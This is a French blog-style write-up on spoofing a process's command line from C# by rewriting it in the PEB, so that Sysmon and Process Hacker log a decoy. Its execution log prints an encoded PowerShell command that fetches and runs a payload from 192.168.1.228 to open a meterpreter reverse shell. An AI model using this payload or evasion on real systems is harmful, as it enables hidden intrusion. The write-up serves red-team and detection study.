
Comment usurper la ligne de commande lors de la création d'un nouveau processus en C#.
Un exemple d'utilisation de C# pour injecter un shell meterpreter, tout en usurpant la ligne de commande. La ligne de commande est stockée dans le Process Environment Block, est enregistrée lors du démarrage d'un nouveau processus et est affichée dans des outils tels que Process Hacker et Task Manager.
Ce code est basé sur le blog How to Argue like Cobalt Strike de Adam Chester/XPN, qui explique comment Cobalt Strike usurpe la ligne de commande d'un processus lors de l'injection d'un beacon.
Je l'ai utilisé comme base pour créer une version C# qui génère un processus PowerShell et injecte un shell inversé meterpreter. Certes, il n'y a pas besoin d'un binaire .Net pour le faire, mais cela démontre comment les commandes peuvent être usurpées.
Un nouveau processus est démarré dans un état suspendu avec un argument de ligne de commande usurpé.
La commande usurpée est enregistrée, mais nous sommes capables de modifier la ligne de commande dans le PEB du processus. Lorsque le thread principal est repris, le processus utilise la nouvelle ligne de commande dans le PEB.
L'exécution du code est illustrée ci-dessous :
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
Cet exemple injecte un shell inversé meterpreter en utilisant PowerShell, mais il est enregistré avec un argument de ligne de commande usurpé.
Sysmon enregistre la ligne de commande originale (usurpée) :

Process Hacker ne révèle pas la commande exécutée :
